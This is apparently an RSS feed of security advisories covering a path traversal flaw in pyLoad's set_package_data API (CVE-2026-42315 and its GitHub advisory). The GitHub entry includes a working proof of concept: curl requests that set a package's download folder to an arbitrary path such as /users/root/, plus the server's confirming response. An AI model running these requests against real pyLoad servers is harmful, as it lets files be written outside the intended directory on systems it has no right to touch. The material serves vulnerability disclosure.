<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Fri, 02 Oct 2026 20:03:37 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-42315 — pyLoad: Path Traversal via Package Folder Name in set_package_data</title>
      <link>https://cve.radiocsirt.org/vuln/cve-2026-42315</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; pyload&lt;/p&gt;
&lt;p&gt;pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, when passing a folder name in the set_package_data() API function call inside the data object with key &amp;#34;_folder&amp;#34;, there is no sanitization at all, allowing a user with Perms.MODIFY to specify arbitrary directories as download locations for a package. This vulnerability is fixed in 0.5.0b3.dev100.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; pyload&lt;/p&gt;
&lt;p&gt;pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, when passing a folder name in the set_package_data() API function call inside the data object with key &amp;#34;_folder&amp;#34;, there is no sanitization at all, allowing a user with Perms.MODIFY to specify arbitrary directories as download locations for a package. This vulnerability is fixed in 0.5.0b3.dev100.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cve-2026-42315</guid>
    </item>
    <item>
      <title>GHSA-838g-gr43-qqg9 — PyLoad vulnerable to Path Traversal via Package Folder Name in set_package_data</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-838g-gr43-qqg9</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: pyload-ng&lt;/p&gt;
&lt;p&gt;### Summary
No sanitization of package folder name allows writing files anywhere outside the intended download directory.&lt;/p&gt;
&lt;p&gt;#### Affected Component
- `src/pyload/core/api/__init__.py`
- Function: `set_package_data()`&lt;/p&gt;
&lt;p&gt;### Details
When passing a folder name in the `set_package_data()` API function call inside the data object with key `&amp;#34;_folder&amp;#34;`, there is no sanitization at all, allowing a user with `Perms.MODIFY` to specify arbitrary directories as download locations for a package.&lt;/p&gt;
&lt;p&gt;### PoC
1) Create a package, note response package ID e.g. `5`
```
curl -X &amp;#39;POST&amp;#39; \
  &amp;#39;http://localhost:8000/api/add_package&amp;#39; \
  -H &amp;#39;accept: application/json&amp;#39; \
  -H &amp;#39;X-API-Key: &amp;lt;valid api key&amp;gt;&amp;#39; \
  -H &amp;#39;Content-Type: application/json&amp;#39; \
  -d &amp;#39;{
  &amp;#34;name&amp;#34;: &amp;#34;set_package_data_exploit_poc&amp;#34;,
  &amp;#34;links&amp;#34;: [
    &amp;#34;http://example.com/file.txt&amp;#34;
  ],
  &amp;#34;dest&amp;#34;: 1
}&amp;#39;
```&lt;/p&gt;
&lt;p&gt;2) Call set_package_data for this package ID with an arbitrary directory 
```
curl -X &amp;#39;POST&amp;#39; \
  &amp;#39;http://localhost:8000/api/set_package_data&amp;#39; \
  -H &amp;#39;accept: */*&amp;#39; \
  -H &amp;#39;X-API-Key: &amp;lt;valid api key&amp;gt;&amp;#39; \
  -H &amp;#39;Content-Type: application/json&amp;#39; \
  -d &amp;#39;{
  &amp;#34;package_id&amp;#34;: 5,
  &amp;#34;data&amp;#34;: {
    &amp;#34;_folder&amp;#34;: &amp;#34;/users/root/&amp;#34;
  }
}&amp;#39;
```&lt;/p&gt;
&lt;p&gt;3) New download folder will be set without any checks
```
curl -X &amp;#39;GET&amp;#39; \
  &amp;#39;http://localhost:8000/api/get_queue&amp;#39; \
  -H &amp;#39;accept: application/json&amp;#39; \
  -H &amp;#39;X-API-Key: &amp;lt;valid api key&amp;gt;&amp;#39;
```
Response:
```
[
  {
    &amp;#34;pid&amp;#34;: 5,
    &amp;#34;name&amp;#34;: &amp;#34;set_package_data_exploit_poc&amp;#34;,
    &amp;#34;folder&amp;#34;: &amp;#34;/users/root/&amp;#34;,
    &amp;#34;site&amp;#34;: &amp;#34;&amp;#34;,
    &amp;#34;password&amp;#34;: &amp;#34;&amp;#34;…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: pyload-ng&lt;/p&gt;
&lt;p&gt;### Summary
No sanitization of package folder name allows writing files anywhere outside the intended download directory.&lt;/p&gt;
&lt;p&gt;#### Affected Component
- `src/pyload/core/api/__init__.py`
- Function: `set_package_data()`&lt;/p&gt;
&lt;p&gt;### Details
When passing a folder name in the `set_package_data()` API function call inside the data object with key `&amp;#34;_folder&amp;#34;`, there is no sanitization at all, allowing a user with `Perms.MODIFY` to specify arbitrary directories as download locations for a package.&lt;/p&gt;
&lt;p&gt;### PoC
1) Create a package, note response package ID e.g. `5`
```
curl -X &amp;#39;POST&amp;#39; \
  &amp;#39;http://localhost:8000/api/add_package&amp;#39; \
  -H &amp;#39;accept: application/json&amp;#39; \
  -H &amp;#39;X-API-Key: &amp;lt;valid api key&amp;gt;&amp;#39; \
  -H &amp;#39;Content-Type: application/json&amp;#39; \
  -d &amp;#39;{
  &amp;#34;name&amp;#34;: &amp;#34;set_package_data_exploit_poc&amp;#34;,
  &amp;#34;links&amp;#34;: [
    &amp;#34;http://example.com/file.txt&amp;#34;
  ],
  &amp;#34;dest&amp;#34;: 1
}&amp;#39;
```&lt;/p&gt;
&lt;p&gt;2) Call set_package_data for this package ID with an arbitrary directory 
```
curl -X &amp;#39;POST&amp;#39; \
  &amp;#39;http://localhost:8000/api/set_package_data&amp;#39; \
  -H &amp;#39;accept: */*&amp;#39; \
  -H &amp;#39;X-API-Key: &amp;lt;valid api key&amp;gt;&amp;#39; \
  -H &amp;#39;Content-Type: application/json&amp;#39; \
  -d &amp;#39;{
  &amp;#34;package_id&amp;#34;: 5,
  &amp;#34;data&amp;#34;: {
    &amp;#34;_folder&amp;#34;: &amp;#34;/users/root/&amp;#34;
  }
}&amp;#39;
```&lt;/p&gt;
&lt;p&gt;3) New download folder will be set without any checks
```
curl -X &amp;#39;GET&amp;#39; \
  &amp;#39;http://localhost:8000/api/get_queue&amp;#39; \
  -H &amp;#39;accept: application/json&amp;#39; \
  -H &amp;#39;X-API-Key: &amp;lt;valid api key&amp;gt;&amp;#39;
```
Response:
```
[
  {
    &amp;#34;pid&amp;#34;: 5,
    &amp;#34;name&amp;#34;: &amp;#34;set_package_data_exploit_poc&amp;#34;,
    &amp;#34;folder&amp;#34;: &amp;#34;/users/root/&amp;#34;,
    &amp;#34;site&amp;#34;: &amp;#34;&amp;#34;,
    &amp;#34;password&amp;#34;: &amp;#34;&amp;#34;…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-838g-gr43-qqg9</guid>
    </item>
  </channel>
</rss>
